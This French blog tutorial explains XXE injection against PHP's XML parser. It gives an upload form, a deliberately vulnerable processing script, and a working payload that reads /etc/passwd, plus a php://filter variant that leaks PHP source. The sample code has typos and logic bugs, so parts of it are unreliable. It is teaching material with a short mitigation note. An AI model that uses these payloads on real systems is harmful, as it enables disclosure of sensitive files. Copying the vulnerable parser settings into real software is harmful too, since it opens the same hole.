XXE : exploitation de parser XML

Dans la page précédente, nous avons vu les bases de ce langage. Nous avons vu que c’est un langage de balisage qui permet de transmettre des données. A ces balises on peut assigner une règle qui les oblige à respecter une certaine structuration. Ces règles peuvent aussi s’appliquer aux attributs de ces balises.

Il reste un dernier type de règle DTD mais nous le verrons à la toute fin de l’article. Pour le moment nous allons voir comment traiter un fichier XML.

I/ Traitement d’un fichier XML

Pour traiter notre fichier XML nous allons avoir besoin de l’objet DOMDocument du langage PHP. Pour commencer il va falloir installer l’extension DOM, c’est grâce à l’objet DOM que nous allons pouvoir traiter notre fichier XML :

apt install php7.0-xml

Ensuite nous allons devoir créer un objet de type DOMDocument qui va charger les données contenues dans notre fichier XXE.xml et le parser :

<!DOCTYPE html>
<html>
  <body>
    <h2>Parser d'XML</h2>
   	<?php 
    	$doc = new DOMDocument();
        $doc->load("XXE.xml");
        
        $constructeurs = $doc-> getElementsByTagName("ordinateur");
    	foreach($constructeurs as $constructeurs){
          $nompc = $constructeur->getElementsByTagName("nom");
          $nompc = $nompc->item(0)->nodeValue;
          echo "Nom du PC : ".$nompc."<br>";
          
          $ecran = $constructeur->getElementsByTagName("ecran");
          $ecran = $ecran->item(0)->nodeValue;
          echo "Ecran du PC : ".$nompc."<br>";
          
          $carte = $constructeur->getElementsByTagName("carte");
          $carte = $carte->item(0)->nodeValue;
          echo "Carte mere du PC : ".$carte."<br>";
          
          $memoire = $constructeur->getElementsByTagName("memoire");
          $memoire = $memoire->item(0)->nodeValue;
          echo "Memoire du PC : ".$memoire."<br>";
          
          $stockage = $constructeur->getElementsByTagName("stockage");
          $stockage = $stockage->item(0)->nodeValue;
          echo "Stockage du PC : ".$memoire."<br>";
    ?>
  </body>
</html>
<!DOCTYPE html>
<html>
  <body>
    <h2>Send your XML file</h2>
    <form method="post" action="traitement.php" enctype="multipart/form-data">
      <input type="file" name="fichierxml"/>
      <input type="submit" value="Envoi"/>
    </form>
  </body>
</html>

Du coup ça devient assez simple avec le XML d’envoyer des tonnes de données qui seront structurées via du PHP et du CSS. Bon là on a vu la base au niveau du PHP bien évidemment on peut faire des choses plus intéressantes mais je ne suis pas développeur web donc ce n’est pas mon sujet  ! En revanche il est temps de passer à la dernière partie de cette série d’articles sur le XML : la phase d’exploitation.

II/ DTD Entity

En XML il est possible de charger des données depuis un fichier externe. Pour cela on utilise cette syntaxe :

<!ENTITY fichier SYSTEM "Chemin du fichier">

Pour le moment vous pouvez me dire que ce n’est pas un problème de sécurité. Eh pour le moment je vous dirais que c’est vrai. Seulement voilà, si on  laisse l’opportunité à n’importe qui d’uploader du code XML qui sera ensuite parser par le moteur PHP eh bien n’importe qui pourra utiliser la syntaxe précédante afin d’afficher des fichiers sensibles tels que … Le fichier /etc/passwd ??

Du coup si on a un formulaire d’upload:

<!DOCTYPE html>
<html>
  <body>
    <h2>Send your XML file</h2>
    <form method="post" action="traitement.php" enctype="multipart/form-data">
      <input type="file" name="fichierxml"/>
      <input type="submit" value="Envoi"/>
    </form>
  </body>
</html>

Dont voici le visuel :

Avec un fichier de traitement PHP qui accepte le chargement d’entité externe :

<?php
	libxml_disable_entiry_loader(false);
	$doc = new DOMDocument();
	$doc->load($_FILES["fichierxml"]["tmp_name"], LIBXML_NOENT | LIBXML_DTDLOAD);
	echo $doc->saveXML();
?>

Eh bien on va pouvoir faire pas mal de dégâts  !

Quelques petites précisions s’imposent ici. De base le moteur PHP7.0 n’autorisent pas le chargement d’entités externes. Il faut donc préciser dans le fichier .php que l’on ne veut pas désactiver le chargement d’entités externes via la ligne suivante :

libxml_disable_entity_loader(false);

Il faudra aussi ajouter les deux flags suivants lors du chargement du fichier :
LIBXML_NOENT qui permet d’autoriser la substitution qui est faite dans le fichier XML (chargement du fichier externe + ajout à la place du &exploit; que nous allons voir plus bas)
LIBXML_DTDLOAD qui permet de charger le DTD du fichier XML et donc de charger l’entité extene.

Maintenant si j’upload le payload suivant :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE whatever [
<!ENTITY exploit SYSTEM "/etc/passwd">
]>
<whatever>
	&exploit;
</whatever>

Eh bien je vais récupérer le contenu du fichier /etc/passwd :

Pas mal le XXE nan ? Ce qu’il s’est passé ici c’est que le moteur  a chargé le fichier /etc/passwd et l’a remplacé au niveau du &exploit;. Comment on affiche ce qui est contenu entre les balises de notre fichier XML, la partie &exploit; qui a été remplacé par le contenu de etc/passwd, est affichée !

Attendez, on peut faire encore mieux  ! En effet le XML supporte le wrapper php://filter !! Du coup on peut aussi récupérer le code source d’un fichier php ! Pour cela il faudra légèrement modifier le payload en ajoutant le wrapper:

php://filter/read=convert.base64-encode/resource=traitement.php

A la place de:

/etc/passwd

La chaîne de caractères dés-encodée contiendra le code source du fichier traitement.php:

On notera d'ailleurs que les autres wrappers PHP sont utilisables (dont le wrapper expect://).

Alors comment se protéger des XXE ? En fait c’est très simple : ne pas activer le chargement d’entités externes. Et si c’est vraiment nécessaire alors il faudra nettoyer le fichier envoyé par l’utilisateur avant de l’afficher.